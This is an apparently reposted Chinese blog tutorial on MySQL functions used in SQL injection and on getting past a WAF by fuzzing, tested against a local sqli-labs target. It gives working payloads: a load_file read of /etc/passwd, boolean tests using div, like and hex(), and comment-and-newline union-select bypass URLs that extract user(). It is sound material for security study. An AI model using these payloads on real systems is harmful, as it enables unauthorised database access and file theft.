• sql注入常用函数与bypasswaf


    0x00  前言 

    在sql注入当中会遇到各种各样的waf,如果需要bypass通常会涉及到一些冷门函数的运用,那么我们这时候就需要翻找手册来一个个查询,下面是我这几天收集到的一些常用函数,在waf过滤不严格的时候能有效的去绕过waf。

    0x01  了解常见函数

    system user() 系统用户名
    concat() 连接字符串
    user() 用户名
    concat_ws() 含有分隔符地连接字符串 
    current_user() 当前用户名
    group_concat() 连接一个组的所有字符 串,并以逗号分隔每一条 数据 
    session_user() 连接数据库 的用户名
    load_file() 读取本地文件 
    database() 数据库名
    into outfile 写文件
    version() 数据库版本 
    ascii() 字符串的ASCII码值
    @@datadir 数据库路径 
    ord() 返回字符串第一个字符的 ASCII码值
    @@basedir 数据库安装 路径 
    mid() 返回一个字符串的一部分
    @@version_compile_os 操作系统 
    substr() 返回一个字符串的一部分 
    count() 返回执行结 果数量 
    length() 返回字符串的长度
    substring   取值函数
    div    除法运算函数 和/ 用法一样
    mod: 取余数函数
    hex():获取16进制的值

    查询系统用户名

    select system_user();

    concat_ws 拼接函数

    select concat_ws("|","a","b");

     这个也是一个拼接函数,在group_concat和concat被禁用的时候就可以使用到这个函数。

    char_length 用法:

    select char_length('123456') as abc;

    计算值的长度命名为abc,在sql语法里面规则是这么定的,我也不知道为啥。

    character_length

    select character_length("123") as abc;

    character_length的用法和char_length基本一样  功能也差不多

    截取字符串函数

     select left("123",1);

    从左边开始截取第一个值

    select load_file('/etc/passwd');

    读取本地的passwd文件

     @@datadir  显示数据库的路径

    select @@datadir

     @@basedir  显示数据库的安装路径

    select @@basedir

    那么现在来尝试一下,正常查询语句拼接 and 语句来模拟注入。模拟现在waf 拦截and 1=1 的等于号,那么我们可以使用其他的运算符。

    select * from users where id=1 and 1 div 1;

    正常

    select * from users where id=1 and 1 div 0;

    报错

    div 相当于sql语句里面的/ 斜杠 也就是除号。

    select * from users where id=1 and 1 like 1;

    正常

    select * from users where id=1 and 1 like 0;

    报错

    like :模糊查询。

    select * from users where id=1 and 1 * 1;

    正常

    select * from users where id=1 and 1 * 0;

    报错

    只要and 后面的条件成立等于true 就能执行能够判断是否存在注入。

    比如绕过还可以使用到hex()这个函数

    0x02  bypass waf

    and 1=1拦截
    
    and 1  拦截

    and hex(0)

    报错不拦截

    and hex(1)

    正常绕 and 判断。

    那么再来爆出他的字段进行联合查询

    order by  不拦截
    
    order by   3正常
    
    order by 4报错
    

      

    字段为3个

    使用联合查询来报错数据

     拦截  那么我们来fuzz一下他拦截的是哪个函数

    那么我们还可以使用--+ 和%0a来绕过union select

    union select 拦截
    
    union 不拦截
    
    select  不拦截

    那么拦截的就是他们拼接一起。

    我们这时候可以来把他中间的空格位置给fuzz一下。

    union/**/select 拦截
    
    union/*abc*/select 拦截
    
    union/*!abc*/select 不拦截,但语句无法执行
    
     union--+/*!abc*/%0Aselect 语句能正常执行。
    127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+/*!abc*/%0Aselect 1,2,3

    在id后面的位置呢可以加个.0来代替空格,因为mysql 不识别浮点型。

     再来试试其他方式

    http://127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+hex(0)%0Aselect%201,2,3

    一样能成功查询出来。

    这时候就可以结合到我们的查询函数user(),来查询看看

    http://127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+/*!abc*/%0Aselect%201,user(),3

    拦截  那么他拦截的肯定是user()这个函数,再来fuzz一下

    user不拦截

    ()不拦截

    那么从他中间插入payload打乱正则。

     成功爆出数据。

    0x03  结尾

    咱也不知道该说啥,来插个表情包吧!

    select concat_ws("|","a","b");

  • 相关阅读:
    svn客户端使用
    svn服务端搭建
    数组和链表
    旅行商算法
    大O表示法
    交互页面的一些设计规则
    正则表达式大全
    初识算法—二分法初探
    log4j配置
    品优购商城项目(二)mybatis分页插件
  • 原文地址:https://www.cnblogs.com/nice0e3/p/12667791.html
Copyright © 2020-2023  润新知